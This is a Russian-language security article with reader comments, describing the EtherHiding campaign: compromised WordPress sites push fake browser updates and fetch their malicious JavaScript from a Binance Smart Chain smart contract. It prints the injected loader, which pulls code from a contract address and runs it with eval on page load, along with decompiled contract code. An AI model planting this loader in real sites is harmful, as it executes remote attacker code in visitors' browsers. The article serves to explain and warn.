Один из старых хакерских трюков — распространять вредоносное ПО под видом обновления браузера. На взломанном сайте размещается плашка с утверждением, что для просмотра нужно обновить браузер. И кнопка для скачивания обновления, как на скриншоте с прошлогодней атаки ClearFake. Таким образом, жертва самостоятельно устанавливает вредоносное ПО на свой компьютер.

В прошлом году злоумышленники разработали умный способ защитить вредоносный софт от уничтожения. Они разместили его в децентрализованном анонимном блокчейне. То есть интегрировали код в смарт-контракт, который навечно сохранился в открытом доступе.

Инновационный способ хранения вредоносного кода описали специалисты по безопасности из израильской компании Guardio.

Схема выглядит следующим образом:



В данном случае используется BSC (Binance Smart Chain), то есть блокчейн от крупнейшей криптобиржи Binance, который является альтернативой Etherium, первому в интернете блокчейну со смарт-контрактами.

Для распространения вредоноса используются сайты на платформе WordPress. Часто эксплуатируются уязвимости в плагинах WP (например, такое происходило во время операции Balada Injector), устаревшие версии WordPress и украденные учётки.

На каждой странице взломанного сайта размещается следующий код (в обфусцированном виде Base64):

// include <https://cdn.ethers.io/lib/ethers-5.2.umd.min.js>
async function load() {
    let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
        signer = provider.getSigner(),
        address = "0x7f36D9292e7c70A204faCC2d255475A861487c60",
        ABI = [
            { inputs: [{ internalType: "string", .......},
            { inputs: [], name: "get", ......},
            { inputs: [], name: "link", ....... },
        ],
        contract = new ethers.Contract(address, ABI, provider),
        link = await contract.get();
    eval(atob(link));
}
window.onload = load;

В данной части код взаимодействует с блокчейном BSC. Он создаёт новый смарт-контракт, инициализируя его с контролируемого злоумышленником адреса в блокчейна. Далее через интерфейс ABI (Application Binary Interface) объявляются функции и структура контракта. Вызывается функция get(), она запрашивает контракт, чтобы скачать тот самый код, который впоследствии будет декодирован в JavaScript с помощью функции eval().

Код смарт-контракта:

def storage:
  stor0 is array of struct at storage 0

def update(string _newName) payable: 
  require calldata.size - 4 >= 32
  require _newName <= -1
  require _newName + 35 < calldata.size
  if _newName.length > -1:
      revert with 'NH{q', 65
  require _newName + _newName.length + 36 <= calldata.size
  if bool(stor0.length):
      if bool(stor0.length) == stor0.length.field_1 < 32:
          revert with 'NH{q', 34
      if _newName.length:
          stor0[].field_0 = Array(len=_newName.length, data=_newName[all])
  else:
  {...}

def get() payable: 
  if bool(stor0.length):
      if bool(stor0.length) == stor0.length.field_1 < 32:
          revert with 'NH{q', 34
          {..}
          if stor0.length.field_1:
              if 31 < stor0.length.field_1:
                  mem[128] = uint256(stor0.field_0)
                  idx = 128
                  s = 0
                  while stor0.length.field_1 + 96 > idx:
                      mem[idx + 32] = stor0[s].field_256
                      idx = idx + 32
                      s = s + 1
                      continue 
                  return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)])
              mem[128] = 256 * stor0.length.field_8
      else:
         {...}
  return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]), 

def unknown1c4695f4() payable: 
 {...}

Этот простой смарт-контракт, который использует функцию хранения данных контракта (переменная массива stor0). Метод update() сохраняет входные данные в это хранилище байт за байтом, а метод get() считывает хранилище и возвращает его значение в виде строки. Таким образом, взаимодействуя с контрактом, можно записывать или обновлять данные в цепочке.

Все операции хранятся в истории транзакций BSC, начиная с создания контракта 9 сентября 2023 года по другому адресу, контролируемому злоумышленниками. На этот другой адрес, созданный в конце июня 2022 года, перечислили BNB (монета Binance) в количестве, достаточном для создания и обновления контракта — действий, которые фактически не подлежат оплате, но требуют незначительной платы за «газ» ($0,02−0,60 на каждое действие):



Считывание вредоносного кода из блокчейна производит функция eth_call из Binance SDK, и это бесплатная операция.

Раньше хакерский код хранился на хостинге Cloudflare — его можно было удалить или заблокировать. К сожалению, сделать такое с блокчейном невозможно по определению. То есть помешать распространению программы нельзя никак. Единственное, что может сделать Binance — это пометить вредоносный контракт в справочном сервисе BSCScan:



Код из контракта всё равно продолжит свободно распространяться, пусть и с пометкой в справочном сервисе.

Хранить код в блокчейне выгодно: децентрализованный хостинг и чтение из него совершенно бесплатны на годы вперёд, пока этот блокчейн сохранит своё существование. Для злоумышленника удобно ещё и то, что браузер скачивает вредоносный код и запускает его, не оставляя следов и не указывая на авторов атаки, которые сохраняют полную анонимность.

Новый тип атаки через блокчейн получил название EtherHiding. Специалисты пока не могут найти эффективной защиты от распространения программ через общедоступную децентрализованную систему хранения информации, которую по её природе невозможно отредактировать.

Комментарии (11)


  1. iTs
    02.02.2025 18:31

    К сожалению, сделать такое с блокчейном невозможно по определению.

    Почему невозможно? Там же прослойка в виде api, на стороне которого такую проверку запросто можно реализовать. Скорее всего она там давно имеется.


    1. GDragon
      02.02.2025 18:31

      Проблема в подходе.
      Если будет реализовано "удаление" (пусть и через запрет обращения к определённым контрактам) то вместо блокчейна будет "просто ещё одна база данных" что в корне подрывает саму идеологию блокчейна.
      И да, я подобного давно ожидал.
      Ещё бы и ЦП распространяли, но данных много больше чем вредонос нужно.


      1. uranik
        02.02.2025 18:31

        Зачем удаление, идет же обращение к rpc провайдеру в JsonRpcProvider, вот на стороне провайдера проверять контракт на вшивость по какому нибудь блоклисту и возвращать отказ никто не мешает. Публичных JsonRpcProvider по пальцам пересчитать, если все они блэк листы контрактов будут поддерживать и проблема уйдёт, а злоумышленникам придется свои rpc поднимать и светиться, а это уже другой коленкор.


        1. ThisMan
          02.02.2025 18:31

          Если появится возможность блокировать контракты ( не важно по каким причинам ), это станет инструментом для манипуляций. Кто решает, что контракт вредоносный? Какой-то единый орган/организация? Но ведь сеть децентрализована, а если это решается пользователями, возможны способы обмана. В любом случае прецедент будет и это подорвет доверие к сети


          1. sunnybear
            02.02.2025 18:31

            Можно сделать децентрализованный реестр чёрного списка контактов...


            1. codecity
              02.02.2025 18:31

              И кто будет модерировать?


              1. itshnick88
                02.02.2025 18:31

                Децентрализованные модераторы)


      1. zapolnoch
        02.02.2025 18:31

        Не хочу расстраивать, но ЦП есть в блокчейне биткойна


      1. vikarti
        02.02.2025 18:31

        У той же ipfs есть blocklist'ы в том числе по умолчанию. см например https://github.com/ipfs-inactive/faq/issues/176 и https://blog.ipfs.tech/2023-content-blocking-for-the-ipfs-stack/ правда gateway не обязан следовать им...


  1. bolk
    02.02.2025 18:31

    Как будто давно было понятно, что это возможно? https://safe.cnews.ru/news/top/2018-03-21_v_blokchejne_bitkoina_najdeny_obraztsy_detskoj